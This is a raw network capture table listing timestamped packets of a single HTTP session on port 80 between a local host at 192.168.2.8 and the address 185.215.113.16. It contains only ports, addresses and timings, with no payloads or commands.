Nov 20, 2024 03:20:52.668828011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.668860912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.668869972 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.668869972 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.668894053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.668947935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.668997049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669029951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669032097 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669063091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669085026 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669096947 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669116020 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669131041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669179916 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669212103 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669245958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669277906 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669277906 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669286013 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669339895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669341087 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669394016 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669467926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669512033 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669502020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669553995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669588089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669603109 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669620991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669653893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669657946 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669687033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669719934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669740915 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669754028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669785023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669786930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669822931 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669855118 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669862986 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669887066 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669919968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.669935942 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.669971943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670023918 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670025110 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670058012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670059919 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670089960 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670124054 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670160055 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670171976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670206070 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670238972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670273066 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670289040 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670289040 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670305014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670356989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670389891 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670423985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670432091 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670456886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670476913 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670504093 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670507908 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670541048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670573950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670614958 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670622110 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670658112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670689106 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670722008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670753956 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670785904 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670819044 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670830011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670830011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670851946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670860052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670886040 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670918941 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670932055 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670950890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.670965910 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.670984030 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671036959 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671066046 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671068907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671101093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671108007 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671134949 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671168089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671175957 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671217918 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671267033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671294928 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671302080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671355009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671355009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671415091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671463966 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671469927 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671499014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671530008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671564102 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671576977 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671576977 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671612024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671644926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671667099 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671677113 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671710014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671742916 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671747923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671792030 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671793938 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671828032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671860933 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671894073 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671926022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671948910 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.671958923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.671993017 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672002077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672002077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672025919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672071934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672102928 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672135115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672137022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672171116 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672204018 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672235966 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672265053 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672265053 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672276020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672285080 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672307968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672358990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672363043 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672408104 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672441006 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672476053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672508955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672529936 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672529936 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672543049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672575951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672609091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672619104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672642946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672696114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672698021 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672729015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672774076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672807932 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672840118 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672873020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672900915 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672900915 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.672904968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672938108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.672970057 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673002958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673016071 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673016071 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673016071 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673036098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673069000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673101902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673136950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673141956 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673170090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673186064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673202991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673222065 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673235893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673269033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673300982 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673333883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673367977 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673401117 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673413038 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673413038 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673413038 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673434019 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673466921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673500061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673506975 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673532963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673564911 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673598051 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673629999 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673662901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673675060 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673675060 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673675060 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673696041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673731089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673764944 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673798084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673830986 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673844099 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673844099 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673865080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673894882 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673907042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673939943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.673959017 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.673973083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674005985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674038887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674072027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674093962 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674093962 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674103975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674137115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674148083 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674170971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674204111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674237013 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674261093 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674269915 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674303055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674318075 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674338102 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674372911 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674406052 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674418926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674418926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674438953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674472094 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674488068 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674515963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674550056 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674582005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674597979 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674614906 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674647093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674659967 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674680948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674722910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674732924 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674756050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674784899 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674788952 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674825907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674839973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674871922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674906015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674930096 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674931049 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.674938917 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.674973011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675005913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675039053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675071001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675081968 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675081968 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675081968 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675103903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675136089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675168037 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675201893 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675206900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675251007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675283909 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675334930 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675334930 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675338984 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675375938 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675401926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675407887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675441980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675472975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675507069 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675528049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675560951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675570011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675596952 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675626040 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675641060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675673962 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675705910 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675705910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675740004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675762892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675772905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675805092 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675837994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675870895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675877094 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.675901890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675935984 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.675972939 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676004887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676014900 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.676014900 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.676014900 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.676038027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676058054 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676071882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676086903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676095009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.676101923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676115990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676117897 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.676131010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676141977 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676152945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676160097 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.676160097 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.676163912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676177025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.676182985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.676287889 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.702088118 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.707206964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707245111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707279921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707329988 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.707353115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707403898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707422018 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.707437038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707469940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707503080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707535982 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707658052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.707658052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.707670927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707705975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707755089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707787991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707814932 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.707820892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:52.707839012 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:52.707853079 CET	80	49715	185.215.113.16	192.168.2.8
